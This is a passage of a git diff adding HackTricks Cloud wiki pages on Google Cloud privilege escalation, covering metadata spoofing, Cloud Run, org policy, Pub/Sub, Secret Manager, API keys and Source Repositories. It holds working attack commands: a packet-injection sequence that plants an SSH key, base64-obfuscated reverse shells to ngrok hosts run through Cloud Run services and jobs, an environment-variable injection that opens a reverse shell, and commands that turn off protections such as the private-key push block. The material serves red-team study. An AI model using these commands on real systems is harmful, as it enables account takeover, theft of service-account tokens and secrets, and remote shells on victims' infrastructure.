The agent monitors changes by sending a request to **retrieve all metadata values recursively** (`GET /computeMetadata/v1/?recursive=true`). This request is designed to prompt the metadata server to send a response only if there's any change in the metadata since the last retrieval, identified by an Etag (`wait_for_change=true&last_etag=`). Additionally, a **timeout** parameter (`timeout_sec=`) is included. If no change occurs within the specified timeout, the server responds with the **unchanged values**.
This process allows the **IMDS** (Instance Metadata Service) to respond after **60 seconds** if no configuration change has occurred, creating a potential **window for injecting a fake configuration response** to the guest agent.
An attacker could exploit this by performing a **Man-in-the-Middle (MitM) attack**, spoofing the response from the IMDS server and **inserting a new public key**. This could enable unauthorized SSH access to the host.
### Escape Technique
While ARP spoofing is ineffective on Google Compute Engine networks, a [**modified version of rshijack**](https://github.com/ezequielpereira/rshijack) developed by [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) can be used for packet injection in the communication to inject the SSH user.
This version of rshijack allows inputting the ACK and SEQ numbers as command-line arguments, facilitating the spoofing of a response before the real Metadata server response. Additionally, a [**small Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) is used to return a **specially crafted payload**. This payload triggers the Google Guest Agent to **create a user `wouter`** with a specified public key in the `.authorized_keys` file.
The script uses the same ETag to prevent the Metadata server from immediately notifying the Google Guest Agent of different metadata values, thereby delaying the response.
To execute the spoofing, the following steps are necessary:
1. **Monitor requests to the Metadata server** using **tcpdump**:
```bash
tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &
```
Look for a line similar to:
```
<TIME> IP <LOCAL_IP>.<PORT> > 169.254.169.254.80: Flags [P.], seq <NUM>:<TARGET_ACK>, ack <TARGET_SEQ>, win <NUM>, length <NUM>: HTTP: GET /computeMetadata/v1/?timeout_sec=<SECONDS>&last_etag=<ETAG>&alt=json&recursive=True&wait_for_change=True HTTP/1.1
```
2. Send the fake metadata data with the correct ETAG to rshijack:
```bash
fakeData.sh <ETAG> | rshijack -q eth0 169.254.169.254:80 <LOCAL_IP>:<PORT> <TARGET_SEQ> <TARGET_ACK>; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost
```
This step authorizes the public key, enabling SSH connection with the corresponding private key.
## References
* [https://www.ezequiel.tech/2020/08/dropping-shell-in.html](https://www.ezequiel.tech/2020/08/dropping-shell-in.html)
* [https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,53 @@
# GCP - Orgpolicy Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## orgpolicy
### `orgpolicy.policy.set`
An attacker leveraging **orgpolicy.policy.set** can manipulate organizational policies, which will allow him to remove certain restrictions impeding specific operations. For instance, the constraint **appengine.disableCodeDownload** usually blocks downloading of App Engine source code. However, by using **orgpolicy.policy.set**, an attacker can deactivate this constraint, thereby gaining access to download the source code, despite it initially being protected.
{% code overflow="wrap" %}
```bash
# Get info
gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --organization <id> | --project <id>]
# Disable
gcloud resource-manager org-policies disable-enforce <org-policy> [--folder <id> | --organization <id> | --project <id>]
```
{% endcode %}
A python script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
## References
* [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,63 @@
# GCP - Pubsub Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## PubSub
Get more information in:
{% content-ref url="../gcp-services/gcp-pub-sub.md" %}
[gcp-pub-sub.md](../gcp-services/gcp-pub-sub.md)
{% endcontent-ref %}
### `pubsub.snapshots.create`
The snapshots of topics **contain the current unACKed messages and every message after it**. You could create a snapshot of a topic to **access all the messages**, **avoiding access the topic directly**.
### **`pubsub.snapshots.setIamPolicy`**
Assign the pervious permissions to you.
### `pubsub.subscriptions.create`
You can create a push subscription in a topic that will be sending all the received messages to the indicated URL
### **`pubsub.subscriptions.update`**
Set your own URL as push endpoint to steal the messages.
### `pubsub.subscriptions.consume`
Access messages using the subscription.
### `pubsub.subscriptions.setIamPolicy`
Give yourself any of the preiovus permissions
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,45 @@
# GCP - Resourcemanager Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## resourcemanager
### `resourcemanager.organizations.setIamPolicy`
Like in the exploitation of `iam.serviceAccounts.setIamPolicy`, this permission allows you to **modify** your **permissions** against **any resource** at **organization** level. So, you can follow the same exploitation example.
### `resourcemanager.folders.setIamPolicy`
Like in the exploitation of `iam.serviceAccounts.setIamPolicy`, this permission allows you to **modify** your **permissions** against **any resource** at **folder** level. So, you can follow the same exploitation example.
### `resourcemanager.projects.setIamPolicy`
Like in the exploitation of `iam.serviceAccounts.setIamPolicy`, this permission allows you to **modify** your **permissions** against **any resource** at **project** level. So, you can follow the same exploitation example.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,117 @@
# GCP - Run Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Cloud Run
For more information about Cloud Run check:
{% content-ref url="../gcp-services/gcp-cloud-run-enum.md" %}
[gcp-cloud-run-enum.md](../gcp-services/gcp-cloud-run-enum.md)
{% endcontent-ref %}
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
An attacker with these permissions to **create a run service running arbitrary code** (arbitrary Docker container), attach a Service Account to it, and make the code **exfiltrate the Service Account token from the metadata**.
An exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
Note that when using `gcloud run deploy` instead of just creating the service **it needs the `update` permission**. Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
### `run.services.update` , `iam.serviceAccounts.actAs`
Like the previous one but updating a service:
```bash
# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==
gcloud run deploy hacked \
--image=ubuntu:22.04 \ # Make sure to use an ubuntu version that includes python3
--command=bash \
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated
# If you don't have permissions to use "--allow-unauthenticated", dont use it
```
### `run.services.setIamPolicy`
Give yourself previous permissions over cloud Run.
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
Launch a job with a reverse shell to steal the service account indicated in the command. You can find an [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
```bash
gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1
```
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
Similar to the previous one it's possible to **update a job and update the SA**, the **command** and **execute it**:
```bash
gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now
```
### `run.jobs.setIamPolicy`
Give yourself the previous permissions over Cloud Jobs.
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
Abuse the env variables of a job execution to execute arbitrary code and get a reverse shell to dump the contents of the container (source code) and access the SA inside the metadata:
{% code overflow="wrap" %}
```bash
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
```
{% endcode %}
## References
* [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,64 @@
# GCP - Secretmanager Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## secretmanager
For more information about secretmanager:
{% content-ref url="../gcp-services/gcp-secrets-manager-enum.md" %}
[gcp-secrets-manager-enum.md](../gcp-services/gcp-secrets-manager-enum.md)
{% endcontent-ref %}
### `secretmanager.versions.access`
This give you access to read the secrets from the secret manager and maybe this could help to escalate privielegs (depending on which information is sotred inside the secret):
```bash
# Get clear-text of version 1 of secret: "<secret name>"
gcloud secrets versions access 1 --secret="<secret_name>"
```
As this is also a post exploitation technique it can be found in:
{% content-ref url="../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md" %}
[gcp-secretmanager-post-exploitation.md](../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
{% endcontent-ref %}
### `secretmanager.secrets.setIamPolicy`
This give you access to give you access to read the secrets from the secret manager, like using:
```bash
gcloud secrets add-iam-policy-binding <scret-name> \
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,74 @@
# GCP - Serviceusage Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## serviceusage
The following permissions are useful to create and steal API keys, not this from the docs: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
Therefore, with an API key you can make that company pay for your use of the API, but you won't be able to escalate privileges.
To learn other permissions and ways to generate API keys check:
{% content-ref url="gcp-apikeys-privesc.md" %}
[gcp-apikeys-privesc.md](gcp-apikeys-privesc.md)
{% endcontent-ref %}
### `serviceusage.apiKeys.create`
An undocumented API was found that can be used to **create API keys:**
{% code overflow="wrap" %}
```bash
curl -XPOST "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
```
{% endcode %}
### `serviceusage.apiKeys.list`
Another undocumented API was found for listing API keys that have already been created (the API keys appears in the response):
{% code overflow="wrap" %}
```bash
curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
```
{% endcode %}
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
With these permissions an attacker can enable and use new services in the project. This could allow an **attacker to enable service like admin or cloudidentity** to try to access Workspace information, or other services to access interesting data.
## **References**
* [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
**.**
</details>

View File

@@ -0,0 +1,115 @@
# GCP - Sourcerepos Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Source Repositories
For more information about Source Repositories check:
{% content-ref url="../gcp-services/gcp-source-repositories-enum.md" %}
[gcp-source-repositories-enum.md](../gcp-services/gcp-source-repositories-enum.md)
{% endcontent-ref %}
### `source.repos.get`
With this permission it's possible to download the repository locally:
```bash
gcloud source repos clone <repo-name> --project=<project-uniq-name>
```
### `source.repos.update`
A principal with this permission **will be able to write code inside a repository cloned with `gcloud source repos clone <repo>`**. But note that this permission cannot be attached to custom roles, so it must be given via a predefined role like:
* Owner
* Editor
* Source Repository Administrator (`roles/source.admin`)
* Source Repository Writer (`roles/source.writer`)
To write just perform a regular **`git push`**.
### `source.repos.setIamPolicy`
With this permission an attacker could grant himself the previous permissions.
### Secret access
If the attacker has **access to the secrets** where the tokens are stored, he will be able to steal them. For more info about how to access a secret check:
{% content-ref url="gcp-secretmanager-privesc.md" %}
[gcp-secretmanager-privesc.md](gcp-secretmanager-privesc.md)
{% endcontent-ref %}
### Add SSH keys
It's possible to **add ssh keys to the Source Repository project** in the web console. It makes a post request to **`/v1/sshKeys:add`** and can be configured in [https://source.cloud.google.com/user/ssh\_keys](https://source.cloud.google.com/user/ssh_keys)
Once your ssh key is set, you can access a repo with:
{% code overflow="wrap" %}
```bash
git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
```
{% endcode %}
And then use **`git`** commands are per usual.
### Manual Credentials
It's possible to create manual credentials to access the Source Repositories:
<figure><img src="../../../.gitbook/assets/image (324).png" alt=""><figcaption></figcaption></figure>
Clicking on the first link it will direct you to [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3)
Which will prompt an **Oauth authorization prompt** to give access to **Google Cloud Development**. So you will need either the **credentials of the user** or an **open session in the browser** for this.
This will send you to a page with a **bash script to execute** and configure a git cookie in **`$HOME/.gitcookies`**
<figure><img src="../../../.gitbook/assets/image (323).png" alt=""><figcaption></figcaption></figure>
Executing the script you can then use git clone, push... and it will work.
### `source.repos.updateProjectConfig`
With this permission it's possible to disable Source Repositories default protection to not upload code containing Private Keys:
```bash
gcloud source project-configs update --disable-pushblock
```
You can also configure a different pub/sub topic or even disable it completely:
```bash
gcloud source project-configs update --remove-topic=REMOVE_TOPIC
gcloud source project-configs update --remove-topic=UPDATE_TOPIC
```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
